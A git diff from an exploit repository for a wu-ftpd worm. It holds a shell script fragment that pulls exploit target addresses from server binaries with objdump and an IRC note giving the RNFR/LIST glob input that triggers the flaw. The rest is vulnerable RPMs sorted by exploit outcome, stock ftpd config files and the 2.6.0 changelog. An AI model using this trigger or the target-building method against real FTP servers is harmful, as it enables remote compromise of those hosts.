| 43 | echo # found at $tmpaddr | ||
| 44 | tmpreg=`objdump --disassemble $1 | grep -A3 "^ $tmpaddr" | head -3 | \ | ||
| 45 | tail -1 | cut -d '%' -f2` | ||
| 46 | echo # $tmpreg | ||
| 47 | cbufaddr=`objdump --disassemble $1 | grep -B200 "^ $tmpaddr" | grep $tmpreg | \ | ||
| 48 | grep "\\$0x80" | head -1 | cut -d '$' -f2- | cut -c -9` | ||
| 49 | |||
| 50 | echo "target:" | ||
| 51 | echo | ||
| 52 | echo '{ "insert exact dist, rpm, .. here",' | ||
| 53 | echo \"$versionstring\", | ||
| 54 | echo 'x86_wrx, sizeof (x86_wrx) - 1,' | ||
| 55 | echo 0x$freeaddr, $cbufaddr }, | ||
| 56 | echo | ||
| 57 | |||
diff --git a/exploits/7350wurm/openbsd-ftpd-linux.txt b/exploits/7350wurm/openbsd-ftpd-linux.txt new file mode 100644 index 0000000..77aabfa --- /dev/null +++ b/exploits/7350wurm/openbsd-ftpd-linux.txt | |||
| @@ -0,0 +1,7 @@ | |||
| 1 | [bnuts(bnuts@ext-user.7350.org)] the key to exploit it | ||
| 2 | [bnuts(bnuts@ext-user.7350.org)] RNFR "A"x80*4."}" | ||
| 3 | [bnuts(bnuts@ext-user.7350.org)] LIST ~{ | ||
| 4 | [msg(bnuts)] hey, thanks :) | ||
| 5 | [bnuts(bnuts@ext-user.7350.org)] the problem is in libc, it starts scanning for '}' after the end | ||
| 6 | of the argument for glob() | ||
| 7 | [bnuts(bnuts@ext-user.7350.org)] [the pattern[ | ||
diff --git a/exploits/7350wurm/rpm/done/redhat50update_wu-ftpd-2.4.2b18-2.1.i386.rpm b/exploits/7350wurm/rpm/done/redhat50update_wu-ftpd-2.4.2b18-2.1.i386.rpm new file mode 100644 index 0000000..2edc7b3 --- /dev/null +++ b/exploits/7350wurm/rpm/done/redhat50update_wu-ftpd-2.4.2b18-2.1.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/redhat51update_wu-ftpd-2.4.2b18-2.1.i386.rpm b/exploits/7350wurm/rpm/done/redhat51update_wu-ftpd-2.4.2b18-2.1.i386.rpm new file mode 100644 index 0000000..2edc7b3 --- /dev/null +++ b/exploits/7350wurm/rpm/done/redhat51update_wu-ftpd-2.4.2b18-2.1.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/redhat52_wu-ftpd-2.4.2b18-2.i386.rpm b/exploits/7350wurm/rpm/done/redhat52_wu-ftpd-2.4.2b18-2.i386.rpm new file mode 100644 index 0000000..00f80d4 --- /dev/null +++ b/exploits/7350wurm/rpm/done/redhat52_wu-ftpd-2.4.2b18-2.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/redhat52update_wu-ftpd-2.6.0-2.5.x.i386.rpm b/exploits/7350wurm/rpm/done/redhat52update_wu-ftpd-2.6.0-2.5.x.i386.rpm new file mode 100644 index 0000000..7cace33 --- /dev/null +++ b/exploits/7350wurm/rpm/done/redhat52update_wu-ftpd-2.6.0-2.5.x.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/redhat60update_wu-ftpd-2.6.0-14.6x.i386.rpm b/exploits/7350wurm/rpm/done/redhat60update_wu-ftpd-2.6.0-14.6x.i386.rpm new file mode 100644 index 0000000..aa38d9b --- /dev/null +++ b/exploits/7350wurm/rpm/done/redhat60update_wu-ftpd-2.6.0-14.6x.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/redhat61update_wu-ftpd-2.6.0-14.6x.i386.rpm b/exploits/7350wurm/rpm/done/redhat61update_wu-ftpd-2.6.0-14.6x.i386.rpm new file mode 100644 index 0000000..aa38d9b --- /dev/null +++ b/exploits/7350wurm/rpm/done/redhat61update_wu-ftpd-2.6.0-14.6x.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/redhat62_wu-ftpd-2.6.0-3.i386.rpm b/exploits/7350wurm/rpm/done/redhat62_wu-ftpd-2.6.0-3.i386.rpm new file mode 100644 index 0000000..0979d0a --- /dev/null +++ b/exploits/7350wurm/rpm/done/redhat62_wu-ftpd-2.6.0-3.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/redhat62update_wu-ftpd-2.6.0-14.6x.i386.rpm b/exploits/7350wurm/rpm/done/redhat62update_wu-ftpd-2.6.0-14.6x.i386.rpm new file mode 100644 index 0000000..aa38d9b --- /dev/null +++ b/exploits/7350wurm/rpm/done/redhat62update_wu-ftpd-2.6.0-14.6x.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/redhat70_wu-ftpd-2.6.1-6.i386.rpm b/exploits/7350wurm/rpm/done/redhat70_wu-ftpd-2.6.1-6.i386.rpm new file mode 100644 index 0000000..9063b82 --- /dev/null +++ b/exploits/7350wurm/rpm/done/redhat70_wu-ftpd-2.6.1-6.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/redhat71_wu-ftpd-2.6.1-16.i386.rpm b/exploits/7350wurm/rpm/done/redhat71_wu-ftpd-2.6.1-16.i386.rpm new file mode 100644 index 0000000..3da1eab --- /dev/null +++ b/exploits/7350wurm/rpm/done/redhat71_wu-ftpd-2.6.1-16.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/redhat72_wu-ftpd-2.6.1-18.i386.rpm b/exploits/7350wurm/rpm/done/redhat72_wu-ftpd-2.6.1-18.i386.rpm new file mode 100644 index 0000000..86c4ebe --- /dev/null +++ b/exploits/7350wurm/rpm/done/redhat72_wu-ftpd-2.6.1-18.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/suse6061update_wuftpd-2.6.0-151.i386.rpm b/exploits/7350wurm/rpm/done/suse6061update_wuftpd-2.6.0-151.i386.rpm new file mode 100644 index 0000000..b5fbcc9 --- /dev/null +++ b/exploits/7350wurm/rpm/done/suse6061update_wuftpd-2.6.0-151.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/suse62update_wuftpd-2.6.0-121.i386.rpm b/exploits/7350wurm/rpm/done/suse62update_wuftpd-2.6.0-121.i386.rpm new file mode 100644 index 0000000..05fc0a7 --- /dev/null +++ b/exploits/7350wurm/rpm/done/suse62update_wuftpd-2.6.0-121.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/suse70default_wuftpd.rpm b/exploits/7350wurm/rpm/done/suse70default_wuftpd.rpm new file mode 100644 index 0000000..7f6536c --- /dev/null +++ b/exploits/7350wurm/rpm/done/suse70default_wuftpd.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/suse71default_wuftpd.rpm b/exploits/7350wurm/rpm/done/suse71default_wuftpd.rpm new file mode 100644 index 0000000..9aa348b --- /dev/null +++ b/exploits/7350wurm/rpm/done/suse71default_wuftpd.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/suse72default_wuftpd.rpm b/exploits/7350wurm/rpm/done/suse72default_wuftpd.rpm new file mode 100644 index 0000000..01b387c --- /dev/null +++ b/exploits/7350wurm/rpm/done/suse72default_wuftpd.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/done/suse73default_wuftpd.rpm b/exploits/7350wurm/rpm/done/suse73default_wuftpd.rpm new file mode 100644 index 0000000..566eb81 --- /dev/null +++ b/exploits/7350wurm/rpm/done/suse73default_wuftpd.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/failed/suse-53.de-wuftpd.rpm b/exploits/7350wurm/rpm/failed/suse-53.de-wuftpd.rpm new file mode 100644 index 0000000..6502301 --- /dev/null +++ b/exploits/7350wurm/rpm/failed/suse-53.de-wuftpd.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/immunix62_wu-ftpd-2.6.0-3_StackGuard.i386.rpm b/exploits/7350wurm/rpm/immunix62_wu-ftpd-2.6.0-3_StackGuard.i386.rpm new file mode 100644 index 0000000..f0de147 --- /dev/null +++ b/exploits/7350wurm/rpm/immunix62_wu-ftpd-2.6.0-3_StackGuard.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/patched/redhat62update_wu-ftpd-2.6.1-0.6x.21.i386.rpm b/exploits/7350wurm/rpm/patched/redhat62update_wu-ftpd-2.6.1-0.6x.21.i386.rpm new file mode 100644 index 0000000..f08fcc5 --- /dev/null +++ b/exploits/7350wurm/rpm/patched/redhat62update_wu-ftpd-2.6.1-0.6x.21.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/patched/redhat70update_wu-ftpd-2.6.1-16.7x.1.i386.rpm b/exploits/7350wurm/rpm/patched/redhat70update_wu-ftpd-2.6.1-16.7x.1.i386.rpm new file mode 100644 index 0000000..4d790e5 --- /dev/null +++ b/exploits/7350wurm/rpm/patched/redhat70update_wu-ftpd-2.6.1-16.7x.1.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/patched/redhat71update_wu-ftpd-2.6.1-16.7x.1.i386.rpm b/exploits/7350wurm/rpm/patched/redhat71update_wu-ftpd-2.6.1-16.7x.1.i386.rpm new file mode 100644 index 0000000..4d790e5 --- /dev/null +++ b/exploits/7350wurm/rpm/patched/redhat71update_wu-ftpd-2.6.1-16.7x.1.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/patched/redhat72update_wu-ftpd-2.6.1-20.i386.rpm b/exploits/7350wurm/rpm/patched/redhat72update_wu-ftpd-2.6.1-20.i386.rpm new file mode 100644 index 0000000..5c1a133 --- /dev/null +++ b/exploits/7350wurm/rpm/patched/redhat72update_wu-ftpd-2.6.1-20.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/patched/suse63update_wuftpd-2.6.0-347.i386.rpm b/exploits/7350wurm/rpm/patched/suse63update_wuftpd-2.6.0-347.i386.rpm new file mode 100644 index 0000000..b39011f --- /dev/null +++ b/exploits/7350wurm/rpm/patched/suse63update_wuftpd-2.6.0-347.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/patched/suse64update_wuftpd-2.6.0-344.i386.rpm b/exploits/7350wurm/rpm/patched/suse64update_wuftpd-2.6.0-344.i386.rpm new file mode 100644 index 0000000..32e618b --- /dev/null +++ b/exploits/7350wurm/rpm/patched/suse64update_wuftpd-2.6.0-344.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/patched/suse70update_wuftpd-2.6.0-344.i386.rpm b/exploits/7350wurm/rpm/patched/suse70update_wuftpd-2.6.0-344.i386.rpm new file mode 100644 index 0000000..aef3a1a --- /dev/null +++ b/exploits/7350wurm/rpm/patched/suse70update_wuftpd-2.6.0-344.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/patched/suse71update_wuftpd-2.6.0-346.i386.rpm b/exploits/7350wurm/rpm/patched/suse71update_wuftpd-2.6.0-346.i386.rpm new file mode 100644 index 0000000..0704a70 --- /dev/null +++ b/exploits/7350wurm/rpm/patched/suse71update_wuftpd-2.6.0-346.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/patched/suse72update_wuftpd-2.6.0-344.i386.rpm b/exploits/7350wurm/rpm/patched/suse72update_wuftpd-2.6.0-344.i386.rpm new file mode 100644 index 0000000..6810a18 --- /dev/null +++ b/exploits/7350wurm/rpm/patched/suse72update_wuftpd-2.6.0-344.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/patched/suse73update_wuftpd-2.6.0-344.i386.rpm b/exploits/7350wurm/rpm/patched/suse73update_wuftpd-2.6.0-344.i386.rpm new file mode 100644 index 0000000..0706b1b --- /dev/null +++ b/exploits/7350wurm/rpm/patched/suse73update_wuftpd-2.6.0-344.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/redhat60_wu-ftpd-2.4.2vr17-3.i386.rpm b/exploits/7350wurm/rpm/redhat60_wu-ftpd-2.4.2vr17-3.i386.rpm new file mode 100644 index 0000000..275f5aa --- /dev/null +++ b/exploits/7350wurm/rpm/redhat60_wu-ftpd-2.4.2vr17-3.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/redhat61_wu-ftpd-2.5.0-9.i386.rpm b/exploits/7350wurm/rpm/redhat61_wu-ftpd-2.5.0-9.i386.rpm new file mode 100644 index 0000000..ef2b614 --- /dev/null +++ b/exploits/7350wurm/rpm/redhat61_wu-ftpd-2.5.0-9.i386.rpm | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0.tgz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0.tgz new file mode 100644 index 0000000..87a9c99 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0.tgz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpaccess b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpaccess new file mode 100644 index 0000000..26c5239 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpaccess | |||
| @@ -0,0 +1,24 @@ | |||
| 1 | class all real,guest,anonymous * | ||
| 2 | |||
| 3 | email root@localhost | ||
| 4 | |||
| 5 | loginfails 5 | ||
| 6 | |||
| 7 | readme README* login | ||
| 8 | readme README* cwd=* | ||
| 9 | |||
| 10 | message /welcome.msg login | ||
| 11 | message .message cwd=* | ||
| 12 | |||
| 13 | compress yes all | ||
| 14 | tar yes all | ||
| 15 | chmod no guest,anonymous | ||
| 16 | delete no guest,anonymous | ||
| 17 | overwrite no guest,anonymous | ||
| 18 | rename no guest,anonymous | ||
| 19 | |||
| 20 | log transfers anonymous,real inbound,outbound | ||
| 21 | |||
| 22 | shutdown /etc/shutmsg | ||
| 23 | |||
| 24 | passwd-check rfc822 warn | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpconversions b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpconversions new file mode 100644 index 0000000..4fda5df --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpconversions | |||
| @@ -0,0 +1,7 @@ | |||
| 1 | :.Z: : :/bin/compress -d -c %s:T_REG|T_ASCII:O_UNCOMPRESS:UNCOMPRESS | ||
| 2 | : : :.Z:/bin/compress -c %s:T_REG:O_COMPRESS:COMPRESS | ||
| 3 | :.gz: : :/bin/gzip -cd %s:T_REG|T_ASCII:O_UNCOMPRESS:GUNZIP | ||
| 4 | : : :.gz:/bin/gzip -9 -c %s:T_REG:O_COMPRESS:GZIP | ||
| 5 | : : :.tar:/bin/tar -c -f - %s:T_REG|T_DIR:O_TAR:TAR | ||
| 6 | : : :.tar.Z:/bin/tar -c -Z -f - %s:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+COMPRESS | ||
| 7 | : : :.tar.gz:/bin/tar -c -z -f - %s:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+GZIP | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpgroups b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpgroups new file mode 100644 index 0000000..ec39822 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpgroups | |||
| @@ -0,0 +1 @@ | |||
| # test:ENCRYPTED PASSWORD HERE:archive | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftphosts b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftphosts new file mode 100644 index 0000000..9ccbd6d --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftphosts | |||
| @@ -0,0 +1,5 @@ | |||
| 1 | # Example host access file | ||
| 2 | # | ||
| 3 | # Everything after a '#' is treated as comment, | ||
| 4 | # empty lines are ignored | ||
| 5 | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpusers b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpusers new file mode 100644 index 0000000..856df2f --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/ftpusers | |||
| @@ -0,0 +1,14 @@ | |||
| 1 | root | ||
| 2 | bin | ||
| 3 | daemon | ||
| 4 | adm | ||
| 5 | lp | ||
| 6 | sync | ||
| 7 | shutdown | ||
| 8 | halt | ||
| 9 | |||
| 10 | news | ||
| 11 | uucp | ||
| 12 | operator | ||
| 13 | games | ||
| 14 | nobody | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/logrotate.d/ftpd b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/logrotate.d/ftpd new file mode 100644 index 0000000..7728381 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/logrotate.d/ftpd | |||
| @@ -0,0 +1,4 @@ | |||
| 1 | /var/log/xferlog { | ||
| 2 | # ftpd doesn't handle SIGHUP properly | ||
| 3 | nocompress | ||
| 4 | } | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/pam.d/ftp b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/pam.d/ftp new file mode 100644 index 0000000..d3c383a --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/etc/pam.d/ftp | |||
| @@ -0,0 +1,6 @@ | |||
| 1 | #%PAM-1.0 | ||
| 2 | auth required /lib/security/pam_listfile.so item=user sense=deny file=/etc/ftpusers onerr=succeed | ||
| 3 | auth required /lib/security/pam_pwdb.so shadow nullok | ||
| 4 | auth required /lib/security/pam_shells.so | ||
| 5 | account required /lib/security/pam_pwdb.so | ||
| 6 | session required /lib/security/pam_pwdb.so | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/bin/ftpcount b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/bin/ftpcount new file mode 100755 index 0000000..2e763f2 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/bin/ftpcount | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/bin/ftpwho b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/bin/ftpwho new file mode 100755 index 0000000..2e763f2 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/bin/ftpwho | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/CHANGES b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/CHANGES new file mode 100644 index 0000000..375ee36 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/CHANGES | |||
| @@ -0,0 +1,2865 @@ | |||
| 1 | |||
| 2 | Copyright (c) 1999 WU-FTPD Development Group. | ||
| 3 | All rights reserved. | ||
| 4 | |||
| 5 | Portions Copyright (c) 1980, 1985, 1988, 1989, 1990, 1991, 1993, 1994 | ||
| 6 | The Regents of the University of California. | ||
| 7 | Portions Copyright (c) 1993, 1994 Washington University in Saint Louis. | ||
| 8 | Portions Copyright (c) 1996, 1998 Berkeley Software Design, Inc. | ||
| 9 | Portions Copyright (c) 1989 Massachusetts Institute of Technology. | ||
| 10 | Portions Copyright (c) 1998 Sendmail, Inc. | ||
| 11 | Portions Copyright (c) 1983, 1995, 1996, 1997 Eric P. Allman. | ||
| 12 | Portions Copyright (c) 1997 Stan Barber. | ||
| 13 | Portions Copyright (c) 1997 Kent Landfield. | ||
| 14 | Portions Copyright (c) 1991, 1992, 1993, 1994, 1995, 1996, 1997 | ||
| 15 | Free Software Foundation, Inc. | ||
| 16 | |||
| 17 | Use and distribution of this software and its source code are governed | ||
| 18 | by the terms and conditions of the WU-FTPD Software License ("LICENSE"). | ||
| 19 | |||
| 20 | If you did not receive a copy of the license, it may be obtained online | ||
| 21 | at http://www.wu-ftpd.org/license.html. | ||
| 22 | |||
| 23 | $Id: CHANGES,v 1.40 1999/10/17 00:50:22 wuftpd Exp $ | ||
| 24 | |||
| 25 | |||
| 26 | |||
| 27 | Changes in 2.6.0: Released 18 Oct, 1999 | ||
| 28 | |||
| 29 | o On sigpipe, always log a lost connection. | ||
| 30 | |||
| 31 | o Added a log message on attempts to download files marked unretrievable. | ||
| 32 | |||
| 33 | o The SITE NEWER feature has been disabled. A compile-time option has been | ||
| 34 | added to re-enable it. See config.h.noac for more information on this. | ||
| 35 | |||
| 36 | o With restricted-uid/gid, CWD to a non-existant directory would display the | ||
| 37 | full pathname rather than just relative to the user's home. Actually, the | ||
| 38 | fix catches most cases where this could occur, not just the CWD verb. | ||
| 39 | |||
| 40 | o Fixed a bug in the restricted-uid/gid feature which could allow access | ||
| 41 | outside the user's home directory in some cases. | ||
| 42 | |||
| 43 | o Bumped MAXHST (max. hosts allowed on a line) for ftphosts from 10 to 12. | ||
| 44 | Fixed a bug related to this which can cause the server to crash checking | ||
| 45 | host access. | ||
| 46 | |||
| 47 | o The internal ls (see below) was judged to be unready. It has been disabled | ||
| 48 | by default but can be enabled with a compile-time option for those who wish | ||
| 49 | to attempt to debug it (be warned, it has a lot of problems). | ||
| 50 | |||
| 51 | o Split the "bad shell or user not in ftpusers" syslog message into two | ||
| 52 | messages to prevent confusion. | ||
| 53 | |||
| 54 | o Filename globs for LIST, NLST and SITE EXEC, as well as a few internal | ||
| 55 | uses, are cleaned up before processing. For example: */./../* becomes | ||
| 56 | just *. This prevents certain memory starvation DoS attacks. | ||
| 57 | |||
| 58 | o Corrections for RFC compliance can break some clients. If possible, the | ||
| 59 | broken client should be updated, but a compile-time option has been | ||
| 60 | added. See the config.h.noac for more information on this. | ||
| 61 | |||
| 62 | o Created doc/HOWTO directory and moved VIRTUAL.FTP.SUPPORT and | ||
| 63 | upload.configuration.HOWTO there. | ||
| 64 | |||
| 65 | o Add a README.AUTOCONF file describing the autoconf build in detail. | ||
| 66 | |||
| 67 | o UC, Berkeley, has removed the requirement that all advertising material | ||
| 68 | must include credit to them. Removed the clause from the LICENSE and | ||
| 69 | the historical licenses in the COPYRIGHT file. | ||
| 70 | |||
| 71 | o Added the email-on-upload feature from BeroFTPD. See the ftpaccess man | ||
| 72 | page for defaults on these added ftpaccess clauses: | ||
| 73 | |||
| 74 | mailserver <hostname> | ||
| 75 | incmail <emailaddress> | ||
| 76 | mailfrom <emailaddress> | ||
| 77 | virtual <address> incmail <emailaddress> | ||
| 78 | virtual <address> mailfrom <emailaddress> | ||
| 79 | defaultserver incmail <emailaddress> | ||
| 80 | defaultserver mailfrom <emailaddress> | ||
| 81 | |||
| 82 | o Redhat added the -I option to disable RFC931 (AUTH/ident). Added to | ||
| 83 | the baseline so Redhat users don't see a loss of a feature. Setting | ||
| 84 | the timeout for rfc931 to zero will do the same thing in the ftpaccess | ||
| 85 | file. | ||
| 86 | |||
| 87 | o The test for whether restricted-uid/restricted-gid applied should have | ||
| 88 | been done before the chroot so it used the system /etc/passwd and | ||
| 89 | /etc/group files. | ||
| 90 | |||
| 91 | o CDUP when you were already at the home directory, would complain about | ||
| 92 | you being restricted (if you were). Instead it should give a positive | ||
| 93 | reply, and do nothing. This makes it behave more like CDUP when you're | ||
| 94 | not restricted to your home directory. | ||
| 95 | |||
| 96 | o deny-uid and deny-gid were being tested for anonymous users. Bad move, | ||
| 97 | it's too easy to forget to allow them. Use 'defaultserver private' to | ||
| 98 | keep anonymous users away. | ||
| 99 | |||
| 100 | o Correct the operation of the NLST command. Finally. mget should now | ||
| 101 | work as users expect it to. | ||
| 102 | |||
| 103 | o Prevent buffer overruns when processing message files. | ||
| 104 | |||
| 105 | o Correct a reference through a NULL pointer when doing S/Key | ||
| 106 | authentication and the user is not in the passwd file. | ||
| 107 | |||
| 108 | o Check the return code from select() when setting up a data connection. | ||
| 109 | Under some rare conditions it is possible that the select was called | ||
| 110 | for an fd_set which has no members, hanging the daemon. | ||
| 111 | |||
| 112 | o Ensure a pattern of "*" matches everything. The new path_compare (used | ||
| 113 | on upload and throughput clauses in the ftpaccess file) sets the option | ||
| 114 | FNM_PATHNAME, so: | ||
| 115 | |||
| 116 | * matches everything | ||
| 117 | /* matches everything | ||
| 118 | /*/* matches /dogs/toto and /dogs/toto/photos but not /dogs | ||
| 119 | |||
| 120 | o setproctitle() support added for UnixWare. | ||
| 121 | |||
| 122 | o Removed all FIXES files. Merged their contents into this CHANGES file | ||
| 123 | (the one you're reading now). The old doc/FIXES directory has been | ||
| 124 | tar'd and will be placed in the attic when 2.6.0 releases. | ||
| 125 | |||
| 126 | o Corrected an error in the MAPPING_CHDIR feature which could be used to | ||
| 127 | gain root privileges on the server. | ||
| 128 | |||
| 129 | o Added -V command-line option to View the copyright and exit. | ||
| 130 | |||
| 131 | o Added the privatepw command and documentation. | ||
| 132 | |||
| 133 | o Port for FreeBSD corrected. | ||
| 134 | |||
| 135 | o Adding the LICENSE file to the baseline. | ||
| 136 | |||
| 137 | o Added print_copyright function so our copyright is embedded in the | ||
| 138 | executables. | ||
| 139 | |||
| 140 | o WU-FTPD Development Group copyright headers added. Original Copyright | ||
| 141 | headers moved into the COPYRIGHT file. | ||
| 142 | |||
| 143 | o RCS Ids from 2.4.x removed and new templates added for wu-ftpd.org | ||
| 144 | usage. | ||
| 145 | |||
| 146 | o Make sure the signal context is restored when jumping out of signal | ||
| 147 | handlers. This was causing signal 11 on some systems. | ||
| 148 | |||
| 149 | o Cleaned up the how-to of setting up virtual hosting support. | ||
| 150 | |||
| 151 | o Corrected header file dependencies. | ||
| 152 | |||
| 153 | o Changed NLST to nlst, necessary as ftpcmd.c #defines NLST. | ||
| 154 | |||
| 155 | o Tidied up virtual variables. | ||
| 156 | |||
| 157 | o Changed so compiles cleanly on SCO OpenServer 5, UnixWare 2 and | ||
| 158 | UnixWare 7. | ||
| 159 | |||
| 160 | o Anonymous users could get in even though no class was defined for them. | ||
| 161 | |||
| 162 | o Support for non-ANSI/ISO compilers has been removed. You MUST have and | ||
| 163 | ANSI/ISO C compiler. This has been true for some time, all that has | ||
| 164 | changed is the (incomplete) support for older (K&R) compilers has been | ||
| 165 | removed. | ||
| 166 | |||
| 167 | o Added Kent Landfield's NEWVIRT scheme for extensive virutal hosting. | ||
| 168 | See the updated documentation on virtual hosting for details. | ||
| 169 | |||
| 170 | o ftprestart has been added to the base daemon kit. | ||
| 171 | |||
| 172 | o A buffer overrun in the ftpshut command has been corrected. Since, on | ||
| 173 | most sites, the ftpshut command is only usable by the superuser, this | ||
| 174 | is not considered a security issue. If you have installed ftpshut with | ||
| 175 | suid-root permissions (not the default), then there is the possibility | ||
| 176 | this overrun could be used to leverage root permissions. | ||
| 177 | |||
| 178 | o Several new ftpaccess clauses have been added. These allow control of | ||
| 179 | the various timeouts used within the daemon. The new clauses are: | ||
| 180 | |||
| 181 | timeout accept <seconds> | ||
| 182 | timeout connect <seconds> | ||
| 183 | timeout data <seconds> | ||
| 184 | timeout idle <seconds> | ||
| 185 | timeout maxidle <seconds> | ||
| 186 | timeout RFC931 <seconds> | ||
| 187 | |||
| 188 | o Myriad places where inactivity timeouts were not being properly | ||
| 189 | detected or handled have been corrected. | ||
| 190 | |||
| 191 | The built-in directory listings, both the original NLST and the | ||
| 192 | build-in LIST (ls), now detect inactivity. The original NLST did | ||
| 193 | not which could lead to hanging daemons. | ||
| 194 | |||
| 195 | C FILE handles for data connections are now always flushed, then | ||
| 196 | the socket is shutdown cleanly before being closed. | ||
| 197 | |||
| 198 | As a side effect, the daemon now more often properly detects | ||
| 199 | incomplete transfers. This can lead, though, to the xferlog | ||
| 200 | showing the correct byte count (meaning the daemon read or wrote | ||
| 201 | that many bytes over the data connection), but still log the | ||
| 202 | transfer as incomplete (meaning the socket did not properly | ||
| 203 | shutdown so the client probably missed some data). | ||
| 204 | |||
| 205 | o The daemon no longer attempts to replace the system's <arpa/ftp.h> | ||
| 206 | header when compiling. Instead, it uses its own local copy at all | ||
| 207 | times. | ||
| 208 | |||
| 209 | o The daemon will now wait for the transfer to complete before sending | ||
| 210 | 'Transfer complete' or similar messages. This improves the daemon's | ||
| 211 | reliability for poorly written clients which take recipt of the message | ||
| 212 | as indication the transfer has completed rather than reading until the | ||
| 213 | connection closes. | ||
| 214 | |||
| 215 | o Guest and anonymous logout was not recorded on Linux. Removed call to | ||
| 216 | updwtmp and returned to old method of updating the lastlog. | ||
| 217 | |||
| 218 | o Script "vr.sh" is no longer needed. The Development Group will not be | ||
| 219 | releasing patches to upgrade; they can be obtained from CVS if needed. | ||
| 220 | |||
| 221 | o "realpath_on_steroids" is no longer needed. Removed. | ||
| 222 | |||
| 223 | o Use a custom version of fnmatch() which changes the rules for matching | ||
| 224 | file and directory names. The most visible result of this is | ||
| 225 | noretrieve and allow-retrieve are now much more flexible. See the | ||
| 226 | ftpaccess manpage for examples. | ||
| 227 | |||
| 228 | o Use the correct SPT_TYPE for FreeBSD 2.0 or later. | ||
| 229 | |||
| 230 | o Correct the class= logic on the allow-retrieve clause. | ||
| 231 | |||
| 232 | o Enhanced DNS extensions. This adds three ftpaccess clauses: | ||
| 233 | |||
| 234 | dns refuse_mismatch <filename> [override] | ||
| 235 | dns refuse_no_reverse <filename> [override] | ||
| 236 | dns resolveroptions [options] | ||
| 237 | |||
| 238 | o Corrected a reference in the manpage for ftpconversions to ftpd. | ||
| 239 | |||
